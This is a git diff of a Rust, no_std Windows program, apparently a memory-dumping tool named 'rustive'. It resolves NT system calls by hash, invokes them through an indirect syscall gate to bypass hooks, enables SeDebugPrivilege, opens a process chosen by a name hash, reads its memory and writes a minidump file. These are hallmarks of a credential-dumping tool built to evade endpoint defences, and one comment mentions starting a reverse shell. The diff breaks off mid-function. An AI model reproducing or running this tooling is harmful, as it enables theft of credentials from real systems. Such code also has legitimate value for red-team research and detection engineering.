#[cfg(feature = "debug")]
mod debug;
#[cfg(feature = "xor")]
use crate::common::xor::xor_bytes;
mod encrypt;
#[cfg(feature = "xor")]
use encrypt::xor::xor_bytes;
#[cfg(feature = "remote")]
mod remote;
// Set a custom global allocator
use crate::native::allocator::NtVirtualAlloc;
#[global_allocator]
static GLOBAL: NtVirtualAlloc = NtVirtualAlloc;
#[no_mangle]
pub extern "C" fn _start() {
/// Initializes system modules and functions, and then starts a reverse shell.
pub unsafe fn dumpit() {
#[cfg(not(feature = "remote"))]
let output_file_name = "rustive.dmp";
@@ -53,11 +64,13 @@ pub extern "C" fn _start() {
debug_println!("[-] Failed to retrieve process handle. Exiting!");
return;
}
debug_println!("[+] Process handle: {:?}", process_handle);
debug_println!("[+] Process handle: ", process_handle as usize, true);
// Retrieve the list of loaded modules in the target process.
let mut module_info_list = retrieve_modules(process_handle);
if module_info_list.is_empty() {
unsafe { get_instance().unwrap().ntdll.nt_close.run(process_handle) };
debug_println!("[-] No modules found. Exiting!");
return;
}
@@ -65,12 +78,14 @@ pub extern "C" fn _start() {
// Dumps the memory regions of the target process.
let (memory64list, memory_regions) = perform_memory_dump(process_handle, &mut module_info_list);
unsafe { get_instance().unwrap().ntdll.nt_close.run(process_handle) };
// Retrieve OS version information.
let mut version_info = OSVersionInfo::new();
let status = unsafe { rtl_get_version(&mut version_info) };
if status != 0 {
debug_println!(
"[-] Failed to retrieve OS Version from PEB. NTSTATUS: 0x{:X}",
"[-] Failed to retrieve OS Version from PEB with status: ",
status
);
}
@@ -97,12 +112,3 @@ pub extern "C" fn _start() {
#[cfg(not(feature = "remote"))]
handle_output_file(file_bytes_to_use, output_file_name);
}
#[cfg(not(test))]
use core::panic::PanicInfo;
#[cfg(not(test))]
#[panic_handler]
fn panic(_info: &PanicInfo) -> ! {
loop {}
}
+61
View File
@@ -0,0 +1,61 @@
use core::{
alloc::{GlobalAlloc, Layout},
ffi::c_void,
ptr::null_mut,
};
use crate::{instance::get_instance, run_syscall};
pub struct NtVirtualAlloc;
unsafe impl GlobalAlloc for NtVirtualAlloc {
/// Allocates memory as described by the given `layout` using NT system calls.
///
/// This function uses the `NtAllocateVirtualMemory` system call to allocate memory.
/// The memory is allocated with `PAGE_READWRITE` protection, which allows both
/// reading and writing.
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
// Pointer to the allocated memory.
let mut p_address: *mut c_void = null_mut();
// Size of the memory to allocate.
let region_size = layout.size();
// Handle to the current process (-1).
let h_process: *mut u8 = -1isize as _;
if let Some(instance) = get_instance() {
run_syscall!(
instance.ntdll.nt_allocate_virtual_memory.syscall.number,
instance.ntdll.nt_allocate_virtual_memory.syscall.address as usize,
h_process,
&mut p_address,
0,
&mut (region_size as usize) as *mut usize,
0x3000, // MEM_COMMIT | MEM_RESERVE
0x04 // PAGE_READWRITE
);
}
p_address as *mut u8
}
/// Deallocates the block of memory at the given `ptr` pointer with the given `layout` using NT system calls.
///
/// This function uses the `NtFreeVirtualMemory` system call to deallocate memory.
unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
// Size of the memory to deallocate.
let mut region_size = layout.size();
// Handle to the current process (-1).
let h_process: *mut u8 = -1isize as _;
if let Some(instance) = get_instance() {
run_syscall!(
instance.ntdll.nt_free_virtual_memory.syscall.number,
instance.ntdll.nt_free_virtual_memory.syscall.address as usize,
h_process,
&mut (ptr as *mut c_void),
&mut region_size,
0x8000 // MEM_RELEASE
);
}
}
}
@@ -1,50 +1,6 @@
use core::arch::global_asm;
global_asm!(
r#"
.globl do_syscall
.section .text
do_syscall:
mov [rsp - 0x8], rsi
mov [rsp - 0x10], rdi
mov [rsp - 0x18], r12
xor r10, r10
mov rax, rcx
mov r10, rax
mov eax, ecx
mov r12, rdx
mov rcx, r8
mov r10, r9
mov rdx, [rsp + 0x28]
mov r8, [rsp + 0x30]
mov r9, [rsp + 0x38]
sub rcx, 0x4
jle skip
lea rsi, [rsp + 0x40]
lea rdi, [rsp + 0x28]
rep movsq
skip:
mov rcx, r12
mov rsi, [rsp - 0x8]
mov rdi, [rsp - 0x10]
mov r12, [rsp - 0x18]
jmp rcx
"#
);
extern "C" {
pub fn do_syscall(ssn: u16, addr: usize, n_args: u32, ...) -> i32;
// Declaration of an external syscall function with a variadic argument list
pub fn isyscall(ssn: u16, addr: usize, n_args: u32, ...) -> i32;
}
#[cfg(target_arch = "x86_64")]
@@ -62,7 +18,7 @@ macro_rules! run_syscall {
// Perform the syscall with the given number, address (offset by 0x12),
// argument count, and the arguments
unsafe { $crate::ntapi::syscall_gate::do_syscall($ssn, $addr + 0x12, cnt, $($y), +) }
unsafe { $crate::native::gate::isyscall($ssn, $addr + 0x12, cnt, $($y), +) }
}
}
}
@@ -71,7 +27,6 @@ const UP: isize = -32; // Constant for upward memory search
const DOWN: usize = 32; // Constant for downward memory search
pub unsafe fn get_ssn(address: *mut u8) -> u16 {
// Check if the address is null
if address.is_null() {
return 0;
}
@@ -85,7 +40,6 @@ pub unsafe fn get_ssn(address: *mut u8) -> u16 {
&& address.add(6).read() == 0x00
&& address.add(7).read() == 0x00
{
// Extract the syscall number from the instruction
let high = address.add(5).read() as u16;
let low = address.add(4).read() as u16;
return ((high << 8) | low) as u16;
+135
View File
@@ -0,0 +1,135 @@
use alloc::string::String;
use alloc::vec;
use alloc::vec::Vec;
use core::ffi::c_void;
use crate::{instance::get_instance, native::ntdef::MemoryBasicInformation};
/// Reads memory from a remote process into a buffer.
///
/// Takes a process handle, an address, and the size of the memory to read.
/// Returns a `Vec<u8>` containing the memory contents, or `None` if reading fails.
pub fn read_memory(
process_handle: *mut c_void,
address: *mut c_void,
size: usize,
) -> Option<Vec<u8>> {
// Allocate a buffer for the memory to be read.
let mut buffer = vec![0u8; size];
let mut bytes_read: usize = 0;
// Perform the memory read operation using the NT API.
let result = unsafe {
get_instance().unwrap().ntdll.nt_read_virtual_memory.run(
process_handle,
address,
buffer.as_mut_ptr() as *mut c_void,
size,
&mut bytes_read,
)
};
// Return the buffer if successful, otherwise return None.
if result == 0 && bytes_read > 0 {
Some(buffer)
} else {
None
}
}
/// Queries information about a memory region in a remote process.
///
/// Returns a `MemoryBasicInformation` struct containing details about the memory region,
/// or `None` if querying fails.
pub fn query_memory_info(
process_handle: *mut c_void,
base_address: *mut c_void,
) -> Option<MemoryBasicInformation> {
let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() };
// Query memory information for the given address in the remote process.
let result = unsafe {
get_instance().unwrap().ntdll.nt_query_virtual_memory.run(
process_handle,
base_address,
0,
&mut mem_info as *mut _ as *mut c_void,
core::mem::size_of::<MemoryBasicInformation>() as usize,
core::ptr::null_mut(),
)
};
// Return memory information if successful, otherwise return None.
if result == 0 {
Some(mem_info)
} else {
None
}
}
/// Reads a wide string (UTF-16) from a remote process's memory.
///
/// Converts the UTF-16 encoded string from the remote process into a `String` and returns it.
/// If reading fails or the string is invalid, returns an empty `String`.
pub fn read_remote_wstr(process_handle: *mut c_void, mem_address: *mut c_void) -> String {
let mut buffer = vec![0u8; 512]; // Buffer for reading memory.
let mut bytes_read: usize = 0;
// Read memory from the remote process.
let status = unsafe {
get_instance().unwrap().ntdll.nt_read_virtual_memory.run(
process_handle,
mem_address,
buffer.as_mut_ptr() as *mut c_void,
buffer.len(),
&mut bytes_read,
)
};
if status == 0 {
let mut u16_vec = Vec::new();
// Process the buffer in chunks of 2 bytes (for UTF-16 encoding).
for chunk in buffer.chunks(2) {
if chunk.len() < 2 {
break;
}
let word = u16::from_le_bytes([chunk[0], chunk[1]]);
if word == 0 {
break;
}
u16_vec.push(word);
}
// Convert the UTF-16 data into a Rust String.
String::from_utf16(&u16_vec).unwrap_or_else(|_| String::new())
} else {
String::new()
}
}
/// Reads a pointer-sized integer from a remote process's memory.
///
/// Returns the integer value read from the memory address in the remote process,
/// or `0` if the read operation fails.
pub fn read_remote_int_ptr(process_handle: *mut c_void, mem_address: *mut c_void) -> usize {
let mut buffer = [0u8; 8]; // Buffer for reading an integer (64 bits).
let mut bytes_read: usize = 0;
// Read the pointer-sized integer from the remote process.
let status = unsafe {
get_instance().unwrap().ntdll.nt_read_virtual_memory.run(
process_handle,
mem_address,
buffer.as_mut_ptr() as *mut c_void,
buffer.len(),
&mut bytes_read,
)
};
// Convert the bytes into a 64-bit unsigned integer and return it as usize.
if status == 0 {
let value = u64::from_le_bytes(buffer);
value as usize
} else {
0
}
}
+9
View File
@@ -0,0 +1,9 @@
pub mod allocator;
pub mod gate;
pub mod memory;
pub mod ntapi;
pub mod ntdef;
pub mod ntpsapi;
#[cfg(not(feature = "remote"))]
pub mod ntfile;
+116 -4
View File
@@ -4,11 +4,16 @@ use core::{
};
use crate::{
ntapi::def::{AccessMask, IoStatusBlock, LargeInteger, ObjectAttributes, UnicodeString},
common::ldrapi::{ldr_function, ldr_module},
instance::get_instance,
native::{
gate::get_ssn,
ntdef::{IoStatusBlock, LargeInteger, ObjectAttributes, UnicodeString},
},
run_syscall,
};
use super::def::TokenPrivileges;
use super::ntdef::TokenPrivileges;
pub struct NtSyscall {
/// The number of the syscall
@@ -186,7 +191,7 @@ impl NtOpenProcess {
pub fn run(
&self,
process_handle: &mut *mut c_void,
desired_access: AccessMask,
desired_access: c_ulong,
object_attributes: &mut ObjectAttributes,
client_id: *mut c_void,
) -> i32 {
@@ -475,7 +480,7 @@ impl NtOpenProcessToken {
pub fn run(
&self,
process_handle: *mut c_void,
desired_access: AccessMask,
desired_access: c_ulong,
token_handle: &mut *mut c_void,
) -> i32 {
run_syscall!(
@@ -592,3 +597,110 @@ impl NtDll {
}
}
}
pub unsafe fn init_ntdll_funcs() {
const NTDLL_HASH: u32 = 0x1edab0ed;
let instance = get_instance().unwrap();
instance.ntdll.module_base = ldr_module(NTDLL_HASH);
// Resolve LdrLoadDll
let ldr_load_dll_addr = ldr_function(instance.ntdll.module_base, 0x9e456a43);
instance.ntdll.ldr_load_dll = core::mem::transmute(ldr_load_dll_addr);
// NtAllocateVirtualMemory
instance.ntdll.nt_allocate_virtual_memory.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_allocate_virtual_memory.syscall.hash,
);
instance.ntdll.nt_allocate_virtual_memory.syscall.number =
get_ssn(instance.ntdll.nt_allocate_virtual_memory.syscall.address);
// NtFreeVirtualMemory
instance.ntdll.nt_free_virtual_memory.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_free_virtual_memory.syscall.hash,
);
instance.ntdll.nt_free_virtual_memory.syscall.number =
get_ssn(instance.ntdll.nt_free_virtual_memory.syscall.address);
// NtReadVirtualMemory
instance.ntdll.nt_read_virtual_memory.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_read_virtual_memory.syscall.hash,
);
instance.ntdll.nt_read_virtual_memory.syscall.number =
get_ssn(instance.ntdll.nt_read_virtual_memory.syscall.address);
// NtQueryVirtualMemory
instance.ntdll.nt_query_virtual_memory.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_query_virtual_memory.syscall.hash,
);
instance.ntdll.nt_query_virtual_memory.syscall.number =
get_ssn(instance.ntdll.nt_query_virtual_memory.syscall.address);
// NtOpenProcess
instance.ntdll.nt_open_process.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_open_process.syscall.hash,
);
instance.ntdll.nt_open_process.syscall.number =
get_ssn(instance.ntdll.nt_open_process.syscall.address);
// NtQuerySystemInformation
instance.ntdll.nt_query_system_information.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_query_system_information.syscall.hash,
);
instance.ntdll.nt_query_system_information.syscall.number =
get_ssn(instance.ntdll.nt_query_system_information.syscall.address);
// NtQueryInformationProcess
instance.ntdll.nt_query_information_process.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_query_information_process.syscall.hash,
);
instance.ntdll.nt_query_information_process.syscall.number =
get_ssn(instance.ntdll.nt_query_information_process.syscall.address);
// NtCreateFile
instance.ntdll.nt_create_file.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_create_file.syscall.hash,
);
instance.ntdll.nt_create_file.syscall.number =
get_ssn(instance.ntdll.nt_create_file.syscall.address);
// NtWriteFile
instance.ntdll.nt_write_file.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_write_file.syscall.hash,
);
instance.ntdll.nt_write_file.syscall.number =
get_ssn(instance.ntdll.nt_write_file.syscall.address);
// NtClose
instance.ntdll.nt_close.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_close.syscall.hash,
);
instance.ntdll.nt_close.syscall.number = get_ssn(instance.ntdll.nt_close.syscall.address);
// NtOpenProcessToken
instance.ntdll.nt_open_process_token.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_open_process_token.syscall.hash,
);
instance.ntdll.nt_open_process_token.syscall.number =
get_ssn(instance.ntdll.nt_open_process_token.syscall.address);
// NtAdjustPrivilegesToken
instance.ntdll.nt_adjust_privileges_token.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_adjust_privileges_token.syscall.hash,
);
instance.ntdll.nt_adjust_privileges_token.syscall.number =
get_ssn(instance.ntdll.nt_adjust_privileges_token.syscall.address);
}
+100 -107
View File
@@ -1,14 +1,9 @@
use core::{
arch::asm,
ffi::{c_long, c_ulong, c_void},
ptr,
};
use core::arch::asm;
use core::ffi::{c_long, c_ulong, c_void};
use core::ptr;
use crate::common::utils::string_length_w;
pub const PROCESS_QUERY_INFORMATION: AccessMask = 0x0400;
pub const PROCESS_VM_READ: AccessMask = 0x0010;
pub const IMAGE_DOS_SIGNATURE: u16 = 0x5A4D; // "MZ"
pub const IMAGE_NT_SIGNATURE: u32 = 0x00004550; // "PE\0\0"
@@ -52,80 +47,6 @@ impl UnicodeString {
}
}
pub type ULONG = c_ulong;
pub type HANDLE = *mut c_void;
pub type AccessMask = ULONG;
#[repr(C)]
pub struct ObjectAttributes {
pub length: ULONG,
pub root_directory: HANDLE,
pub object_name: *mut UnicodeString,
pub attributes: ULONG,
pub security_descriptor: *mut c_void,
pub security_quality_of_service: *mut c_void,
}
impl ObjectAttributes {
pub fn new() -> Self {
ObjectAttributes {
length: 0,
root_directory: ptr::null_mut(),
object_name: ptr::null_mut(),
attributes: 0,
security_descriptor: ptr::null_mut(),
security_quality_of_service: ptr::null_mut(),
}
}
//InitializeObjectAttributes
pub fn initialize(
p: &mut ObjectAttributes,
n: *mut UnicodeString,
a: ULONG,
r: HANDLE,
s: *mut c_void,
) {
p.length = core::mem::size_of::<ObjectAttributes>() as ULONG;
p.root_directory = r;
p.attributes = a;
p.object_name = n;
p.security_descriptor = s;
p.security_quality_of_service = ptr::null_mut();
}
}
#[repr(C)]
pub struct MemoryBasicInformation {
pub base_address: *mut c_void,
pub allocation_base: *mut c_void,
pub allocation_protect: u32,
pub region_size: u64,
pub state: u32,
pub protect: u32,
pub r#type: u32,
}
#[repr(C)]
pub struct ProcessBasicInformation {
pub exit_status: i32,
pub peb_base_address: *mut c_void,
pub affinity_mask: usize,
pub base_priority: i32,
pub unique_process_id: *mut c_void,
pub inherited_from_unique_process_id: *mut c_void,
}
pub const MEM_COMMIT: u32 = 0x1000;
pub const PAGE_NOACCESS: u32 = 0x01;
#[repr(C)]
#[derive(Clone, Copy)]
pub struct LargeInteger {
pub low_part: u32,
pub high_part: i32,
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct SectionPointer {
@@ -383,6 +304,81 @@ pub fn find_peb() -> *mut PEB {
peb_ptr
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct LargeInteger {
pub low_part: u32,
pub high_part: i32,
}
#[repr(C)]
pub struct ClientId {
pub unique_process: *mut c_void,
pub unique_thread: *mut c_void,
}
impl ClientId {
pub fn new() -> Self {
ClientId {
unique_process: core::ptr::null_mut(),
unique_thread: core::ptr::null_mut(),
}
}
}
#[repr(C)]
pub struct ObjectAttributes {
pub length: c_ulong,
pub root_directory: *mut c_void,
pub object_name: *mut UnicodeString,
pub attributes: c_ulong,
pub security_descriptor: *mut c_void,
pub security_quality_of_service: *mut c_void,
}
impl ObjectAttributes {
pub fn new() -> Self {
ObjectAttributes {
length: 0,
root_directory: ptr::null_mut(),
object_name: ptr::null_mut(),
attributes: 0,
security_descriptor: ptr::null_mut(),
security_quality_of_service: ptr::null_mut(),
}
}
//InitializeObjectAttributes
pub fn initialize(
p: &mut ObjectAttributes,
n: *mut UnicodeString,
a: c_ulong,
r: *mut c_void,
s: *mut c_void,
) {
p.length = core::mem::size_of::<ObjectAttributes>() as c_ulong;
p.root_directory = r;
p.attributes = a;
p.object_name = n;
p.security_descriptor = s;
p.security_quality_of_service = ptr::null_mut();
}
}
#[repr(C)]
pub union IO_STATUS_BLOCK_u {
pub status: i32,
pub pointer: *mut c_void,
}
#[repr(C)]
pub struct IoStatusBlock {
pub u: IO_STATUS_BLOCK_u,
pub information: c_ulong,
}
pub const OBJ_CASE_INSENSITIVE: c_ulong = 0x40;
#[repr(C)]
pub struct OSVersionInfo {
pub dw_os_version_info_size: u32,
@@ -390,7 +386,7 @@ pub struct OSVersionInfo {
pub dw_minor_version: u32,
pub dw_build_number: u32,
pub dw_platform_id: u32,
pub sz_csd_version: [u16; 128], // WCHAR is usually represented as u16 in Rust
pub sz_csd_version: [u16; 128],
pub dw_os_version_info_size_2: u32,
pub dw_major_version_2: u32,
pub dw_minor_version_2: u32,
@@ -415,20 +411,31 @@ impl OSVersionInfo {
}
}
}
#[allow(dead_code)]
#[repr(C)]
pub union IO_STATUS_BLOCK_u {
pub status: i32,
pub pointer: *mut c_void,
pub struct MemoryBasicInformation {
pub base_address: *mut c_void,
pub allocation_base: *mut c_void,
pub allocation_protect: u32,
pub region_size: u64,
pub state: u32,
pub protect: u32,
pub r#type: u32,
}
#[allow(dead_code)]
#[repr(C)]
pub struct IoStatusBlock {
pub u: IO_STATUS_BLOCK_u,
pub information: u32,
pub struct ProcessBasicInformation {
pub exit_status: i32,
pub peb_base_address: *mut c_void,
pub affinity_mask: usize,
pub base_priority: i32,
pub unique_process_id: *mut c_void,
pub inherited_from_unique_process_id: *mut c_void,
}
pub const MEM_COMMIT: u32 = 0x1000;
pub const PAGE_NOACCESS: u32 = 0x01;
#[repr(C)]
pub struct LUID {
pub low_part: u32,
@@ -496,20 +503,6 @@ pub struct SystemThreadInformation {
pub wait_reason: u32,
}
#[repr(C)]
pub struct ClientId {
pub unique_process: *mut c_void,
pub unique_thread: *mut c_void,
}
impl ClientId {
pub fn new() -> Self {
ClientId {
unique_process: core::ptr::null_mut(),
unique_thread: core::ptr::null_mut(),
}
}
}
pub const STATUS_INFO_LENGTH_MISMATCH: i32 = 0xC0000004u32 as i32;
pub const OBJ_CASE_INSENSITIVE: u32 = 0x40;
pub const PROCESS_QUERY_INFORMATION: c_ulong = 0x0400;
pub const PROCESS_VM_READ: c_ulong = 0x0010;
+216
View File
@@ -0,0 +1,216 @@
use core::ffi::c_ulong;
use crate::{debug_println, instance::get_instance};
use alloc::{string::String, vec::Vec};
use super::ntdef::{
find_peb, IoStatusBlock, LargeInteger, ObjectAttributes, RtlUserProcessParameters,
UnicodeString,
};
pub const SYNCHRONIZE: c_ulong = 0x00100000;
pub const STANDARD_RIGHTS_WRITE: c_ulong = 0x00020000;
pub const FILE_WRITE_DATA: c_ulong = 0x00000002;
pub const FILE_WRITE_ATTRIBUTES: c_ulong = 0x00000100;
pub const FILE_WRITE_EA: c_ulong = 0x00000010;
pub const FILE_APPEND_DATA: c_ulong = 0x00000004;
pub const FILE_GENERIC_WRITE: u32 = STANDARD_RIGHTS_WRITE
| FILE_WRITE_DATA
| FILE_WRITE_ATTRIBUTES
| FILE_WRITE_EA
| FILE_APPEND_DATA
| SYNCHRONIZE;
pub const FILE_OVERWRITE_IF: u32 = 0x00000005;
pub const FILE_SYNCHRONOUS_IO_NONALERT: u32 = 0x00000020;
pub const FILE_NON_DIRECTORY_FILE: u32 = 0x00000040;
pub const FILE_SHARE_READ: c_ulong = 0x00000001;
pub const FILE_SHARE_WRITE: c_ulong = 0x00000002;
pub fn save_file(dump_file_bytes: Vec<u8>, dump_file_name: &str) -> i32 {
use core::{ffi::c_void, ptr::null_mut};
let mut handle: *mut c_void = null_mut();
// Retrieve current directory and handle failure
let cwd = get_current_directory();
if cwd.is_empty() {
debug_println!("[-] Failed to retrieve current working directory");
return -1;
}
let mut buffer = [0u8; 512];
// Build NT path and handle failure
let file_name = build_nt_path(&cwd, dump_file_name, &mut buffer);
if file_name.is_empty() {
debug_println!("[-] Failed to build NT path for file");
return -1;
}
let file_path: Vec<u16> = {
let mut vec = Vec::with_capacity(file_name.len() + 1);
for c in file_name.encode_utf16() {
vec.push(c);
}
vec.push(0);
vec
};
// Initialize a Unicode string for the file path
let mut unicode_string = UnicodeString::new();
unicode_string.init(file_path.as_ptr());
let mut object_attributes = ObjectAttributes::new();
ObjectAttributes::initialize(
&mut object_attributes,
&mut unicode_string, // NT path name
0, // Flags for case-insensitivity and inheritance
null_mut(), // No root directory
null_mut(), // No security descriptor
);
let mut io_status_block: IoStatusBlock = unsafe { core::mem::zeroed() };
let allocation_size: *mut LargeInteger = null_mut();
let desired_access: c_ulong = FILE_GENERIC_WRITE | SYNCHRONIZE;
let share_access: c_ulong = FILE_SHARE_READ | FILE_SHARE_WRITE;
let create_options: c_ulong = FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT;
let create_disposition: c_ulong = FILE_OVERWRITE_IF;
// Create the file using NtCreateFile
let status: i32 = unsafe {
get_instance().unwrap().ntdll.nt_create_file.run(
&mut handle,
desired_access,
&mut object_attributes,
&mut io_status_block,
allocation_size,
0,
share_access,
create_disposition,
create_options,
null_mut(),
0,
)
};
if status < 0 {
debug_println!("[-] Failed to create file with status: ", status);
return status;
}
// Initialize IO_STATUS_BLOCK for NtWriteFile
let mut io_status_block_write: IoStatusBlock = unsafe { core::mem::zeroed() };
// Write the file content using NtWriteFile
let status_write = unsafe {
get_instance().unwrap().ntdll.nt_write_file.run(
handle,
null_mut(),
null_mut(),
null_mut(),
&mut io_status_block_write,
dump_file_bytes.as_ptr() as *mut c_void,
dump_file_bytes.len() as u32,
null_mut(),
null_mut(),
)
};
if status_write < 0 {
debug_println!("[-] Failed to write to file with status: ", status_write);
unsafe { get_instance().unwrap().ntdll.nt_close.run(handle) };
} else {
debug_println!("[+] File created successfully!");
}
// Close the file handle
unsafe { get_instance().unwrap().ntdll.nt_close.run(handle) };
status_write
}
pub fn unicodestring_to_string(unicode_string: &UnicodeString) -> Option<String> {
if unicode_string.length == 0 || unicode_string.buffer.is_null() {
return None;
}
let slice = unsafe {
core::slice::from_raw_parts(unicode_string.buffer, (unicode_string.length / 2) as usize)
};
String::from_utf16(slice).ok()
}
/// Retrieves the current working directory of the process by accessing the Process Environment Block (PEB).
pub fn get_current_directory() -> String {
unsafe {
let peb = find_peb();
if !peb.is_null() {
let process_parameters = (*peb).process_parameters as *mut RtlUserProcessParameters;
let cur_dir = &mut process_parameters.as_mut().unwrap().current_directory_path;
let dir_str = unicodestring_to_string(&(*cur_dir));
if dir_str.is_some() {
return dir_str.unwrap();
}
}
}
String::new()
}
/// Builds an NT path based on the current working directory (cwd) and a file name.
pub fn build_nt_path<'a>(cwd: &str, file_name: &str, buffer: &'a mut [u8]) -> &'a str {
let mut offset = 0;
let nt_prefix = b"\\??\\";
if nt_prefix.len() > buffer.len() {
debug_println!(
"[-] Buffer too small to hold NT prefix. Length: ",
buffer.len(),
false
);
return "";
}
buffer[offset..offset + nt_prefix.len()].copy_from_slice(nt_prefix);
offset += nt_prefix.len();
let cwd_bytes = cwd.as_bytes();
if offset + cwd_bytes.len() > buffer.len() {
debug_println!(
"[-] Buffer too small to hold current working directory. Length: ",
buffer.len(),
false
);
return "";
}
buffer[offset..offset + cwd_bytes.len()].copy_from_slice(cwd_bytes);
offset += cwd_bytes.len();
let file_name_bytes = file_name.as_bytes();
if offset + file_name_bytes.len() > buffer.len() {
debug_println!(
"[-] Buffer too small to hold file name. Length: ",
buffer.len(),
false
);
return "";
}
buffer[offset..offset + file_name_bytes.len()].copy_from_slice(file_name_bytes);
offset += file_name_bytes.len();
if let Ok(result_str) = core::str::from_utf8(&buffer[..offset]) {
result_str
} else {
debug_println!("[-] Failed to convert buffer to UTF-8 string.");
""
}
}
+104 -32
View File
@@ -1,19 +1,42 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use alloc::vec::Vec;
use core::{ffi::c_void, ptr::null_mut};
use crate::{common::utils::dbj2_hash, debug_println};
use super::{
def::{
AccessMask, ClientId, ObjectAttributes, SystemProcessInformation, OBJ_CASE_INSENSITIVE,
STATUS_INFO_LENGTH_MISMATCH,
},
g_instance::instance,
use core::{
ffi::{c_ulong, c_void},
ptr::null_mut,
};
use crate::{
debug_println,
instance::get_instance,
native::ntdef::{TokenPrivileges, LUID},
};
use super::ntdef::{
find_peb, ClientId, OSVersionInfo, ObjectAttributes, SystemProcessInformation,
OBJ_CASE_INSENSITIVE, STATUS_INFO_LENGTH_MISMATCH,
};
use crate::common::utils::dbj2_hash;
pub unsafe fn rtl_get_version(lp_version_information: &mut OSVersionInfo) -> i32 {
// Get the pointer to the PEB
let peb = find_peb();
if lp_version_information.dw_os_version_info_size
!= core::mem::size_of::<OSVersionInfo>() as u32
{
return -1;
}
// Fill in the version information from the PEB
lp_version_information.dw_major_version = (*peb).os_major_version;
lp_version_information.dw_minor_version = (*peb).os_minor_version;
lp_version_information.dw_build_number = (*peb).os_build_number;
lp_version_information.dw_platform_id = (*peb).os_platform_id;
lp_version_information.sz_csd_version.fill(0);
0
}
/// Takes a snapshot of the currently running processes.
///
/// This function utilizes the `NtQuerySystemInformation` function from the NT API to retrieve
@@ -26,11 +49,11 @@ pub unsafe fn nt_process_snapshot(
let mut length: u32 = 0;
// First call to determine the required length of the buffer for process information.
let mut status =
instance()
.ntdll
.nt_query_system_information
.run(5, null_mut(), 0, &mut length);
let mut status = get_instance()
.unwrap()
.ntdll
.nt_query_system_information
.run(5, null_mut(), 0, &mut length);
// Check if the call returned STATUS_INFO_LENGTH_MISMATCH (expected) or another error.
if status != STATUS_INFO_LENGTH_MISMATCH && status != 0 {
@@ -42,12 +65,11 @@ pub unsafe fn nt_process_snapshot(
buffer.resize(length as usize, 0);
// Second call to actually retrieve the process information into the allocated buffer.
status = instance().ntdll.nt_query_system_information.run(
5,
buffer.as_mut_ptr() as *mut c_void,
length,
&mut length,
);
status = get_instance()
.unwrap()
.ntdll
.nt_query_system_information
.run(5, buffer.as_mut_ptr() as *mut c_void, length, &mut length);
// Check if the process information retrieval was successful.
if status != 0 {
@@ -69,7 +91,7 @@ pub unsafe fn nt_process_snapshot(
/// This function opens a handle to a target process by specifying its process ID (PID) and the desired access rights.
/// The syscall `NtOpenProcess` is used to obtain the handle, and the function initializes the required structures
/// (`OBJECT_ATTRIBUTES` and `CLIENT_ID`) needed to make the system call.
pub unsafe fn get_process_handle(pid: i32, desired_access: AccessMask) -> *mut c_void {
pub unsafe fn get_process_handle(pid: i32, desired_access: c_ulong) -> *mut c_void {
let mut process_handle: *mut c_void = null_mut();
// Initialize object attributes for the process, setting up the basic structure with default options.
@@ -88,7 +110,7 @@ pub unsafe fn get_process_handle(pid: i32, desired_access: AccessMask) -> *mut c
client_id.unique_process = pid as _;
// Perform a system call to NtOpenProcess to obtain a handle to the specified process.
instance().ntdll.nt_open_process.run(
get_instance().unwrap().ntdll.nt_open_process.run(
&mut process_handle,
desired_access,
&mut object_attributes,
@@ -100,9 +122,9 @@ pub unsafe fn get_process_handle(pid: i32, desired_access: AccessMask) -> *mut c
/// Retrieves a handle to a process with the specified name hash and desired access rights using the NT API.
///
/// This function takes a process name hash, searches for its process ID (PID) using the `process_snapshot` function,
/// This function takes a process name hash, searches for a matching process name using the `nt_process_snapshot` function,
/// and then opens a handle to the process using `NtOpenProcess`.
pub unsafe fn get_process_handle_by_name(name: u32, desired_access: AccessMask) -> *mut c_void {
pub unsafe fn get_process_handle_by_name(name: u32, desired_access: c_ulong) -> *mut c_void {
let mut snapshot: *mut SystemProcessInformation = null_mut();
let mut size: usize = 0;
@@ -110,10 +132,7 @@ pub unsafe fn get_process_handle_by_name(name: u32, desired_access: AccessMask)
let status = nt_process_snapshot(&mut snapshot, &mut size);
if status != 0 {
debug_println!(
"Failed to retrieve process snapshot: NTSTATUS: 0x{:X}",
status
);
debug_println!("Failed to retrieve process snapshot with status: ", status);
return null_mut();
}
@@ -147,3 +166,56 @@ pub unsafe fn get_process_handle_by_name(name: u32, desired_access: AccessMask)
null_mut()
}
/// This function enables the SeDebugPrivilege privilege using the NT API.
pub unsafe fn enable_se_debug_privilege() -> i32 {
const TOKEN_ADJUST_PRIVILEGES: u32 = 32u32;
const TOKEN_QUERY: u32 = 8u32;
let current_process_handle = -1isize as *mut c_void;
let mut token_handle: *mut c_void = null_mut();
// Open the process token.
let ntstatus = get_instance().unwrap().ntdll.nt_open_process_token.run(
current_process_handle,
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
&mut token_handle,
);
if ntstatus != 0 {
debug_println!("[-] NtOpenProcessToken failed with status: ", ntstatus);
return ntstatus;
}
let luid = LUID {
low_part: 20,
high_part: 0,
};
let mut token_privileges = TokenPrivileges {
privilege_count: 1,
luid: luid,
attributes: 0x00000002,
};
// Adjust token privileges to enable SeDebugPrivilege.
let ntstatus = get_instance()
.unwrap()
.ntdll
.nt_adjust_privileges_token
.run(
token_handle,
false,
&mut token_privileges,
core::mem::size_of::<TokenPrivileges>() as u32,
null_mut(),
null_mut(),
);
